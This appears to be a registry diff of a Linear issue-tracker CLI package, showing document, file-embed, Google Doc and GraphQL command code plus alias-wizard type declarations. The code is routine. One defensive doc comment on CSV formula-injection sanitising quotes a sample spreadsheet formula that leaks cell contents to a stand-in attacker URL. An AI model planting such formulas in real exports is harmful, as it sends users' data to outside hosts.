@enrichlayer/el-linear 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (151) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +219 -0
  3. package/claude-skills/linear-operations/SKILL.md +315 -0
  4. package/claude-skills/linear-operations/evals/evals.json +46 -0
  5. package/dist/commands/attachments.d.ts +2 -0
  6. package/dist/commands/attachments.js +57 -0
  7. package/dist/commands/batch.d.ts +2 -0
  8. package/dist/commands/batch.js +309 -0
  9. package/dist/commands/comments.d.ts +2 -0
  10. package/dist/commands/comments.js +272 -0
  11. package/dist/commands/config.d.ts +2 -0
  12. package/dist/commands/config.js +15 -0
  13. package/dist/commands/cycles.d.ts +2 -0
  14. package/dist/commands/cycles.js +63 -0
  15. package/dist/commands/documents.d.ts +2 -0
  16. package/dist/commands/documents.js +175 -0
  17. package/dist/commands/embeds.d.ts +2 -0
  18. package/dist/commands/embeds.js +65 -0
  19. package/dist/commands/gdoc.d.ts +2 -0
  20. package/dist/commands/gdoc.js +37 -0
  21. package/dist/commands/graphql.d.ts +2 -0
  22. package/dist/commands/graphql.js +70 -0
  23. package/dist/commands/init/aliases.d.ts +109 -0
  24. package/dist/commands/init/aliases.js +569 -0
  25. package/dist/commands/init/defaults.d.ts +25 -0
  26. package/dist/commands/init/defaults.js +112 -0
  27. package/dist/commands/init/index.d.ts +18 -0
  28. package/dist/commands/init/index.js +182 -0
  29. package/dist/commands/init/shared.d.ts +88 -0
  30. package/dist/commands/init/shared.js +164 -0
  31. package/dist/commands/init/token.d.ts +50 -0
  32. package/dist/commands/init/token.js +141 -0
  33. package/dist/commands/init/workspace.d.ts +20 -0
  34. package/dist/commands/init/workspace.js +80 -0
  35. package/dist/commands/issue-id.d.ts +28 -0
  36. package/dist/commands/issue-id.js +81 -0
  37. package/dist/commands/issues.d.ts +2 -0
  38. package/dist/commands/issues.js +1145 -0
  39. package/dist/commands/labels.d.ts +2 -0
  40. package/dist/commands/labels.js +100 -0
  41. package/dist/commands/project-milestones.d.ts +2 -0
  42. package/dist/commands/project-milestones.js +143 -0
  43. package/dist/commands/projects.d.ts +2 -0
  44. package/dist/commands/projects.js +336 -0
  45. package/dist/commands/read-shortcut.d.ts +6 -0
  46. package/dist/commands/read-shortcut.js +69 -0
  47. package/dist/commands/releases.d.ts +2 -0
  48. package/dist/commands/releases.js +142 -0
  49. package/dist/commands/search.d.ts +2 -0
  50. package/dist/commands/search.js +171 -0
  51. package/dist/commands/teams.d.ts +2 -0
  52. package/dist/commands/teams.js +19 -0
  53. package/dist/commands/templates.d.ts +2 -0
  54. package/dist/commands/templates.js +58 -0
  55. package/dist/commands/users.d.ts +2 -0
  56. package/dist/commands/users.js +17 -0
  57. package/dist/config/config.d.ts +43 -0
  58. package/dist/config/config.js +81 -0
  59. package/dist/config/issue-validation.d.ts +39 -0
  60. package/dist/config/issue-validation.js +264 -0
  61. package/dist/config/paths.d.ts +20 -0
  62. package/dist/config/paths.js +22 -0
  63. package/dist/config/resolver.d.ts +25 -0
  64. package/dist/config/resolver.js +183 -0
  65. package/dist/config/status-defaults.d.ts +13 -0
  66. package/dist/config/status-defaults.js +20 -0
  67. package/dist/config/term-enforcer.d.ts +31 -0
  68. package/dist/config/term-enforcer.js +69 -0
  69. package/dist/main.d.ts +2 -0
  70. package/dist/main.js +76 -0
  71. package/dist/queries/attachments.d.ts +3 -0
  72. package/dist/queries/attachments.js +35 -0
  73. package/dist/queries/comments.d.ts +3 -0
  74. package/dist/queries/comments.js +64 -0
  75. package/dist/queries/common.d.ts +2 -0
  76. package/dist/queries/common.js +109 -0
  77. package/dist/queries/cycles.d.ts +2 -0
  78. package/dist/queries/cycles.js +40 -0
  79. package/dist/queries/documents.d.ts +5 -0
  80. package/dist/queries/documents.js +67 -0
  81. package/dist/queries/introspect.d.ts +2 -0
  82. package/dist/queries/introspect.js +24 -0
  83. package/dist/queries/issues.d.ts +23 -0
  84. package/dist/queries/issues.js +380 -0
  85. package/dist/queries/labels.d.ts +4 -0
  86. package/dist/queries/labels.js +53 -0
  87. package/dist/queries/project-milestones.d.ts +6 -0
  88. package/dist/queries/project-milestones.js +125 -0
  89. package/dist/queries/projects.d.ts +7 -0
  90. package/dist/queries/projects.js +104 -0
  91. package/dist/queries/releases.d.ts +4 -0
  92. package/dist/queries/releases.js +85 -0
  93. package/dist/queries/search.d.ts +1 -0
  94. package/dist/queries/search.js +35 -0
  95. package/dist/queries/templates.d.ts +2 -0
  96. package/dist/queries/templates.js +30 -0
  97. package/dist/types/linear.d.ts +217 -0
  98. package/dist/types/linear.js +6 -0
  99. package/dist/utils/auth.d.ts +4 -0
  100. package/dist/utils/auth.js +23 -0
  101. package/dist/utils/auto-link-references.d.ts +47 -0
  102. package/dist/utils/auto-link-references.js +188 -0
  103. package/dist/utils/date-format.d.ts +4 -0
  104. package/dist/utils/date-format.js +8 -0
  105. package/dist/utils/download-uploads.d.ts +7 -0
  106. package/dist/utils/download-uploads.js +88 -0
  107. package/dist/utils/embed-parser.d.ts +8 -0
  108. package/dist/utils/embed-parser.js +54 -0
  109. package/dist/utils/error-messages.d.ts +4 -0
  110. package/dist/utils/error-messages.js +17 -0
  111. package/dist/utils/file-service.d.ts +13 -0
  112. package/dist/utils/file-service.js +239 -0
  113. package/dist/utils/gdoc-parser.d.ts +45 -0
  114. package/dist/utils/gdoc-parser.js +107 -0
  115. package/dist/utils/graphql-attachments-service.d.ts +12 -0
  116. package/dist/utils/graphql-attachments-service.js +46 -0
  117. package/dist/utils/graphql-documents-service.d.ts +18 -0
  118. package/dist/utils/graphql-documents-service.js +97 -0
  119. package/dist/utils/graphql-issues-service.d.ts +49 -0
  120. package/dist/utils/graphql-issues-service.js +925 -0
  121. package/dist/utils/graphql-service.d.ts +8 -0
  122. package/dist/utils/graphql-service.js +35 -0
  123. package/dist/utils/identifier-parser.d.ts +7 -0
  124. package/dist/utils/identifier-parser.js +20 -0
  125. package/dist/utils/issue-reference-extractor.d.ts +18 -0
  126. package/dist/utils/issue-reference-extractor.js +95 -0
  127. package/dist/utils/issue-reference-wrapper.d.ts +12 -0
  128. package/dist/utils/issue-reference-wrapper.js +91 -0
  129. package/dist/utils/linear-service.d.ts +26 -0
  130. package/dist/utils/linear-service.js +442 -0
  131. package/dist/utils/logger.d.ts +4 -0
  132. package/dist/utils/logger.js +8 -0
  133. package/dist/utils/markdown-prosemirror.d.ts +24 -0
  134. package/dist/utils/markdown-prosemirror.js +325 -0
  135. package/dist/utils/mention-resolver.d.ts +31 -0
  136. package/dist/utils/mention-resolver.js +234 -0
  137. package/dist/utils/output.d.ts +7 -0
  138. package/dist/utils/output.js +125 -0
  139. package/dist/utils/table-formatter.d.ts +4 -0
  140. package/dist/utils/table-formatter.js +249 -0
  141. package/dist/utils/usage.d.ts +2 -0
  142. package/dist/utils/usage.js +24 -0
  143. package/dist/utils/uuid.d.ts +2 -0
  144. package/dist/utils/uuid.js +8 -0
  145. package/dist/utils/validate-references.d.ts +10 -0
  146. package/dist/utils/validate-references.js +33 -0
  147. package/dist/utils/validators.d.ts +7 -0
  148. package/dist/utils/validators.js +71 -0
  149. package/dist/utils/workspace-url.d.ts +4 -0
  150. package/dist/utils/workspace-url.js +44 -0
  151. package/package.json +71 -0
@@ -0,0 +1,175 @@
1
+ import { createGraphQLAttachmentsService } from "../utils/graphql-attachments-service.js";
2
+ import { createGraphQLDocumentsService } from "../utils/graphql-documents-service.js";
3
+ import { createLinearService } from "../utils/linear-service.js";
4
+ import { handleAsyncCommand, outputSuccess } from "../utils/output.js";
5
+ function extractDocumentIdFromUrl(url) {
6
+ try {
7
+ const parsed = new URL(url);
8
+ if (!parsed.hostname.includes("linear.app")) {
9
+ return null;
10
+ }
11
+ const pathParts = parsed.pathname.split("/");
12
+ const docIndex = pathParts.indexOf("document");
13
+ if (docIndex === -1 || docIndex >= pathParts.length - 1) {
14
+ return null;
15
+ }
16
+ const docSlug = pathParts[docIndex + 1];
17
+ const lastHyphenIndex = docSlug.lastIndexOf("-");
18
+ if (lastHyphenIndex === -1) {
19
+ return docSlug || null;
20
+ }
21
+ return docSlug.substring(lastHyphenIndex + 1) || null;
22
+ }
23
+ catch {
24
+ return null;
25
+ }
26
+ }
27
+ async function handleCreateDocument(options, command) {
28
+ const rootOpts = command.parent.parent.opts();
29
+ const documentsService = createGraphQLDocumentsService(rootOpts);
30
+ const linearService = createLinearService(rootOpts);
31
+ const document = await documentsService.createDocument({
32
+ title: options.title,
33
+ content: options.content,
34
+ projectId: options.project
35
+ ? await linearService.resolveProjectId(options.project)
36
+ : undefined,
37
+ teamId: options.team
38
+ ? await linearService.resolveTeamId(options.team)
39
+ : undefined,
40
+ issueId: options.issue
41
+ ? await linearService.resolveIssueId(options.issue)
42
+ : undefined,
43
+ icon: options.icon,
44
+ color: options.color,
45
+ });
46
+ if (options.attachTo) {
47
+ const attachmentsService = createGraphQLAttachmentsService(rootOpts);
48
+ const issueId = await linearService.resolveIssueId(options.attachTo);
49
+ try {
50
+ await attachmentsService.createAttachment({
51
+ issueId,
52
+ url: document.url,
53
+ title: document.title,
54
+ });
55
+ }
56
+ catch (attachError) {
57
+ const errorMessage = attachError instanceof Error
58
+ ? attachError.message
59
+ : String(attachError);
60
+ throw new Error(`Document created (${document.id}) but failed to attach to issue "${options.attachTo}": ${errorMessage}.`);
61
+ }
62
+ }
63
+ outputSuccess(document);
64
+ }
65
+ async function handleListDocuments(options, command) {
66
+ if (options.project && options.issue) {
67
+ throw new Error("Cannot use --project and --issue together. Choose one filter.");
68
+ }
69
+ const rootOpts = command.parent.parent.opts();
70
+ const documentsService = createGraphQLDocumentsService(rootOpts);
71
+ const linearService = createLinearService(rootOpts);
72
+ const limit = Number.parseInt(options.limit || "50", 10);
73
+ if (Number.isNaN(limit) || limit < 1) {
74
+ throw new Error(`Invalid limit "${options.limit}": must be a positive number`);
75
+ }
76
+ if (options.issue) {
77
+ const attachmentsService = createGraphQLAttachmentsService(rootOpts);
78
+ const issueId = await linearService.resolveIssueId(options.issue);
79
+ const attachments = await attachmentsService.listAttachments(issueId);
80
+ const documentSlugIds = [
81
+ ...new Set(attachments
82
+ .map((att) => extractDocumentIdFromUrl(att.url))
83
+ .filter((id) => id !== null)),
84
+ ];
85
+ if (documentSlugIds.length === 0) {
86
+ outputSuccess({ data: [], meta: { count: 0 } });
87
+ return;
88
+ }
89
+ const docs = await documentsService.listDocumentsBySlugIds(documentSlugIds, limit);
90
+ outputSuccess({ data: docs, meta: { count: docs.length } });
91
+ return;
92
+ }
93
+ let projectId;
94
+ if (options.project) {
95
+ projectId = await linearService.resolveProjectId(options.project);
96
+ }
97
+ const docs = await documentsService.listDocuments({
98
+ projectId,
99
+ first: limit,
100
+ });
101
+ outputSuccess({ data: docs, meta: { count: docs.length } });
102
+ }
103
+ export function setupDocumentsCommands(program) {
104
+ const documents = program
105
+ .command("documents")
106
+ .alias("document")
107
+ .alias("doc")
108
+ .alias("docs")
109
+ .description("Document operations (project-level documentation)");
110
+ documents.action(() => documents.help());
111
+ documents
112
+ .command("create")
113
+ .description("Create a new document")
114
+ .requiredOption("--title <title>", "document title")
115
+ .option("--content <content>", "document content (markdown)")
116
+ .option("--project <project>", "project name or ID")
117
+ .option("--team <team>", "team key or name")
118
+ .option("--icon <icon>", "document icon")
119
+ .option("--color <color>", "icon color")
120
+ .option("--issue <issue>", "link document to issue (e.g., ABC-123)")
121
+ .option("--attach-to <issue>", "also attach document to issue (e.g., ABC-123)")
122
+ .action(handleAsyncCommand(handleCreateDocument));
123
+ documents
124
+ .command("update <documentId>")
125
+ .description("Update an existing document")
126
+ .option("--title <title>", "new document title")
127
+ .option("--content <content>", "new document content (markdown)")
128
+ .option("--project <project>", "move to different project")
129
+ .option("--icon <icon>", "document icon")
130
+ .option("--color <color>", "icon color")
131
+ .action(handleAsyncCommand(async (documentId, options, command) => {
132
+ const rootOpts = command.parent.parent.opts();
133
+ const documentsService = createGraphQLDocumentsService(rootOpts);
134
+ const linearService = createLinearService(rootOpts);
135
+ const input = {};
136
+ if (options.title) {
137
+ input.title = options.title;
138
+ }
139
+ if (options.content) {
140
+ input.content = options.content;
141
+ }
142
+ if (options.project) {
143
+ input.projectId = await linearService.resolveProjectId(options.project);
144
+ }
145
+ if (options.icon) {
146
+ input.icon = options.icon;
147
+ }
148
+ if (options.color) {
149
+ input.color = options.color;
150
+ }
151
+ outputSuccess(await documentsService.updateDocument(documentId, input));
152
+ }));
153
+ documents
154
+ .command("read <documentId>")
155
+ .description("Read a document")
156
+ .action(handleAsyncCommand(async (documentId, _options, command) => {
157
+ const rootOpts = command.parent.parent.opts();
158
+ outputSuccess(await createGraphQLDocumentsService(rootOpts).getDocument(documentId));
159
+ }));
160
+ documents
161
+ .command("list")
162
+ .description("List documents")
163
+ .option("--project <project>", "filter by project name or ID")
164
+ .option("--issue <issue>", "filter by issue (shows documents attached to the issue)")
165
+ .option("-l, --limit <limit>", "maximum number of documents", "50")
166
+ .action(handleAsyncCommand(handleListDocuments));
167
+ documents
168
+ .command("delete <documentId>")
169
+ .description("Delete (trash) a document")
170
+ .action(handleAsyncCommand(async (documentId, _options, command) => {
171
+ const rootOpts = command.parent.parent.opts();
172
+ await createGraphQLDocumentsService(rootOpts).deleteDocument(documentId);
173
+ outputSuccess({ success: true, message: "Document moved to trash" });
174
+ }));
175
+ }
@@ -0,0 +1,2 @@
1
+ import type { Command } from "commander";
2
+ export declare function setupEmbedsCommands(program: Command): void;
@@ -0,0 +1,65 @@
1
+ import { getApiToken } from "../utils/auth.js";
2
+ import { FileService } from "../utils/file-service.js";
3
+ import { handleAsyncCommand, outputSuccess } from "../utils/output.js";
4
+ export function setupEmbedsCommands(program) {
5
+ const embeds = program
6
+ .command("embeds")
7
+ .description("Upload and download files from Linear storage.");
8
+ embeds.action(() => embeds.help());
9
+ embeds
10
+ .command("download <url>")
11
+ .description("Download a file from Linear storage.")
12
+ .option("--output <path>", "output file path")
13
+ .option("--overwrite", "overwrite existing file", false)
14
+ .action(handleAsyncCommand(async (url, options, command) => {
15
+ const apiToken = getApiToken(command.parent.parent.opts());
16
+ const fileService = new FileService(apiToken);
17
+ const result = await fileService.downloadFile(url, {
18
+ output: options.output,
19
+ overwrite: options.overwrite,
20
+ });
21
+ if (result.success) {
22
+ outputSuccess({
23
+ success: true,
24
+ filePath: result.filePath,
25
+ message: `File downloaded successfully to ${result.filePath}`,
26
+ });
27
+ }
28
+ else {
29
+ const error = {
30
+ success: false,
31
+ error: result.error,
32
+ };
33
+ if (result.statusCode) {
34
+ error.statusCode = result.statusCode;
35
+ }
36
+ outputSuccess(error);
37
+ }
38
+ }));
39
+ embeds
40
+ .command("upload <file>")
41
+ .description("Upload a file to Linear storage.")
42
+ .action(handleAsyncCommand(async (filePath, _options, command) => {
43
+ const apiToken = getApiToken(command.parent.parent.opts());
44
+ const fileService = new FileService(apiToken);
45
+ const result = await fileService.uploadFile(filePath);
46
+ if (result.success) {
47
+ outputSuccess({
48
+ success: true,
49
+ assetUrl: result.assetUrl,
50
+ filename: result.filename,
51
+ message: `File uploaded successfully: ${result.assetUrl}`,
52
+ });
53
+ }
54
+ else {
55
+ const error = {
56
+ success: false,
57
+ error: result.error,
58
+ };
59
+ if (result.statusCode) {
60
+ error.statusCode = result.statusCode;
61
+ }
62
+ outputSuccess(error);
63
+ }
64
+ }));
65
+ }
@@ -0,0 +1,2 @@
1
+ import type { Command } from "commander";
2
+ export declare function setupGdocCommands(program: Command): void;
@@ -0,0 +1,37 @@
1
+ import { execFileSync } from "node:child_process";
2
+ import { extractDocId, parseGoogleDoc } from "../utils/gdoc-parser.js";
3
+ import { handleAsyncCommand } from "../utils/output.js";
4
+ export function setupGdocCommands(program) {
5
+ program
6
+ .command("gdoc <docIdOrUrl>")
7
+ .description("Convert a Google Doc to Markdown (requires gws CLI).")
8
+ .addHelpText("after", "\nAccepts a Google Doc ID or full URL.\nRequires gws CLI: npm install -g @googleworkspace/cli")
9
+ .action(handleAsyncCommand(async (docIdOrUrl) => {
10
+ const docId = extractDocId(docIdOrUrl);
11
+ let stdout;
12
+ try {
13
+ stdout = execFileSync("gws", [
14
+ "docs",
15
+ "documents",
16
+ "get",
17
+ "--params",
18
+ JSON.stringify({ documentId: docId }),
19
+ ], {
20
+ encoding: "utf-8",
21
+ timeout: 30_000,
22
+ stdio: ["pipe", "pipe", "pipe"],
23
+ });
24
+ }
25
+ catch (err) {
26
+ const msg = err instanceof Error ? err.message : String(err);
27
+ if (msg.includes("ENOENT")) {
28
+ throw new Error("gws CLI not found. Install it: npm install -g @googleworkspace/cli && gws auth login");
29
+ }
30
+ throw new Error(`Failed to fetch Google Doc: ${msg}`);
31
+ }
32
+ const doc = JSON.parse(stdout);
33
+ const markdown = parseGoogleDoc(doc);
34
+ // Output raw markdown to stdout (not JSON) so it's pipeable
35
+ process.stdout.write(markdown);
36
+ }));
37
+ }
@@ -0,0 +1,2 @@
1
+ import type { Command } from "commander";
2
+ export declare function setupGraphQLCommands(program: Command): void;
@@ -0,0 +1,70 @@
1
+ import fs from "node:fs";
2
+ import { INTROSPECT_ROOT_QUERY, INTROSPECT_TYPE_QUERY, } from "../queries/introspect.js";
3
+ import { createGraphQLService } from "../utils/graphql-service.js";
4
+ import { handleAsyncCommand, outputSuccess } from "../utils/output.js";
5
+ async function executeQuery(query, options, command) {
6
+ let finalQuery = query;
7
+ if (options.file) {
8
+ if (!fs.existsSync(options.file)) {
9
+ throw new Error(`File not found: ${options.file}`);
10
+ }
11
+ finalQuery = fs.readFileSync(options.file, "utf8").trim();
12
+ }
13
+ if (!finalQuery) {
14
+ throw new Error("Provide a GraphQL query as an argument or via --file");
15
+ }
16
+ let variables;
17
+ if (options.variables) {
18
+ try {
19
+ variables = JSON.parse(options.variables);
20
+ }
21
+ catch {
22
+ throw new Error(`Invalid JSON in --variables: ${options.variables}`);
23
+ }
24
+ }
25
+ const rootOpts = command.parent.opts();
26
+ const graphQLService = createGraphQLService(rootOpts);
27
+ const result = await graphQLService.rawRequest(finalQuery, variables);
28
+ outputSuccess(result);
29
+ }
30
+ export function setupGraphQLCommands(program) {
31
+ // Primary command: el-linear graphql '{ ... }' (backward compatible)
32
+ program
33
+ .command("graphql [query]")
34
+ .description("Execute a raw GraphQL query against the Linear API.")
35
+ .option("--file <path>", "read query from a file")
36
+ .option("--variables <json>", "JSON string of variables")
37
+ .action(handleAsyncCommand(executeQuery));
38
+ // Separate introspect command
39
+ program
40
+ .command("introspect [typeName]")
41
+ .description("Introspect the Linear GraphQL schema. Without args lists root query fields; with a type name shows its fields and args.")
42
+ .option("--filter <pattern>", "filter fields by name (case-insensitive substring match)")
43
+ .action(handleAsyncCommand(async (typeName, options, command) => {
44
+ const rootOpts = command.parent.opts();
45
+ const graphQLService = createGraphQLService(rootOpts);
46
+ if (typeName) {
47
+ const result = await graphQLService.rawRequest(INTROSPECT_TYPE_QUERY, { typeName });
48
+ const typeInfo = result.__type;
49
+ if (!typeInfo) {
50
+ throw new Error(`Type "${typeName}" not found in schema`);
51
+ }
52
+ outputSuccess(typeInfo);
53
+ }
54
+ else {
55
+ const result = await graphQLService.rawRequest(INTROSPECT_ROOT_QUERY);
56
+ const queryType = result.__type;
57
+ let fields = queryType?.fields ?? [];
58
+ if (options.filter) {
59
+ const pattern = options.filter.toLowerCase();
60
+ fields = fields.filter((f) => f.name.toLowerCase().includes(pattern));
61
+ }
62
+ const summary = fields.map((f) => ({
63
+ name: f.name,
64
+ description: f.description ?? null,
65
+ args: (f.args ?? []).map((a) => a.name),
66
+ }));
67
+ outputSuccess({ fields: summary, count: summary.length });
68
+ }
69
+ }));
70
+ }
@@ -0,0 +1,109 @@
1
+ /**
2
+ * Step 3 of the wizard: member aliases.
3
+ *
4
+ * For each Linear user in the workspace, the user can add short aliases,
5
+ * GitHub handles, and GitLab handles used for resolution. Skip-by-default
6
+ * (most users skip this and only fill in the people they @-mention often).
7
+ *
8
+ * Idempotent: re-running shows the current aliases per user and offers a
9
+ * 4-way menu (keep / edit / append / clear) plus quit. Progress is persisted
10
+ * so an interrupted walk can be resumed via `el-linear init aliases`.
11
+ */
12
+ import { type WizardConfig } from "./shared.js";
13
+ export interface User {
14
+ id: string;
15
+ name: string;
16
+ email: string | null;
17
+ displayName: string;
18
+ }
19
+ export declare function fetchAllUsers(token: string): Promise<User[]>;
20
+ /**
21
+ * Find groups of users sharing the same display name. The current alias
22
+ * config keys aliases by display name, so colliding users would silently
23
+ * overwrite each other's entries. Detection is exported so the wizard can
24
+ * warn + skip those users; a follow-up (1.3.0) will migrate the on-disk
25
+ * schema to UUID-keyed maps.
26
+ */
27
+ export declare function findDisplayNameCollisions(users: User[]): Map<string, User[]>;
28
+ /**
29
+ * Merge new alias entries into existing config without dropping unrelated
30
+ * fields. Pure function — no I/O. Exported for testing.
31
+ */
32
+ export declare function mergeAliasesIntoConfig(existing: WizardConfig, updates: Map<string, AliasUpdate>): WizardConfig;
33
+ /**
34
+ * What to do with a single platform handle (github/gitlab/...) when applying
35
+ * an AliasUpdate. Discriminated union; no sentinel strings.
36
+ *
37
+ * - keep: no change (leave any existing handle for this user alone)
38
+ * - clear: delete any existing handle for this user
39
+ * - set: replace any existing handle with the given value
40
+ */
41
+ export type HandleAction = {
42
+ kind: "keep";
43
+ } | {
44
+ kind: "clear";
45
+ } | {
46
+ kind: "set";
47
+ value: string;
48
+ };
49
+ /** Set of supported platforms for member handle keys. */
50
+ export declare const HANDLE_PLATFORMS: readonly ["github", "gitlab"];
51
+ export type HandlePlatform = (typeof HANDLE_PLATFORMS)[number];
52
+ export interface AliasUpdate {
53
+ displayName: string;
54
+ mode: "keep" | "edit" | "append" | "clear";
55
+ aliases: string[];
56
+ github: HandleAction;
57
+ gitlab: HandleAction;
58
+ }
59
+ /**
60
+ * Walk users one-by-one. Returns updates keyed by user UUID. Caller writes
61
+ * them back via `mergeAliasesIntoConfig`. The CSV import path is a separate
62
+ * entrypoint (`runAliasesImport`) — there's no `importCsv` option on this
63
+ * function, since the index.ts handler picks one or the other.
64
+ */
65
+ export declare function runAliasesStep(token: string, existing: WizardConfig, options?: {
66
+ /** Skip the per-section "walk now?" prompt and force the walk. */
67
+ force?: boolean;
68
+ }): Promise<Map<string, AliasUpdate>>;
69
+ /**
70
+ * Batch alias import from a CSV. Format:
71
+ * email,aliases,github,gitlab
72
+ * alice@example.com,"alice,ali",alice-gh,
73
+ * bob@example.com,"bob",,
74
+ *
75
+ * Lines starting with `#` are comments. Aliases column is comma-separated
76
+ * inside the cell; if the cell contains commas it must be quoted.
77
+ *
78
+ * Resolves emails to Linear user UUIDs internally, so the result is keyed
79
+ * by UUID and ready to pass to `mergeAliasesIntoConfig`. Rows whose email
80
+ * doesn't match an active user are reported via the returned `skipped[]`
81
+ * list (the caller decides whether to surface them).
82
+ */
83
+ export interface AliasesImportResult {
84
+ updates: Map<string, AliasUpdate>;
85
+ skipped: string[];
86
+ }
87
+ export declare function runAliasesImport(token: string, csvPath: string): Promise<AliasesImportResult>;
88
+ interface CsvRow {
89
+ email?: string;
90
+ aliases?: string;
91
+ github?: string;
92
+ gitlab?: string;
93
+ }
94
+ /**
95
+ * Single-pass character-state CSV parser. Handles RFC 4180 specifics that
96
+ * a split-by-newline approach gets wrong:
97
+ * - Cells with embedded newlines (legal when quoted)
98
+ * - Escaped quotes (`""` inside a quoted cell)
99
+ * - CRLF line endings
100
+ * - `#` comment lines (el-linear extension; only at line start)
101
+ *
102
+ * Sanitizes against CSV-formula-injection at parse time: any cell starting
103
+ * with `=`, `+`, `-`, `@`, `\t`, or `\r` is rejected. These would activate
104
+ * formulas if the resulting config were ever round-tripped to a spreadsheet
105
+ * (e.g. an alias of `=HYPERLINK("http://attacker/?leak="&A1)` would store
106
+ * verbatim today and fire the moment someone opened the export in Excel).
107
+ */
108
+ export declare function parseCsv(text: string): CsvRow[];
109
+ export {};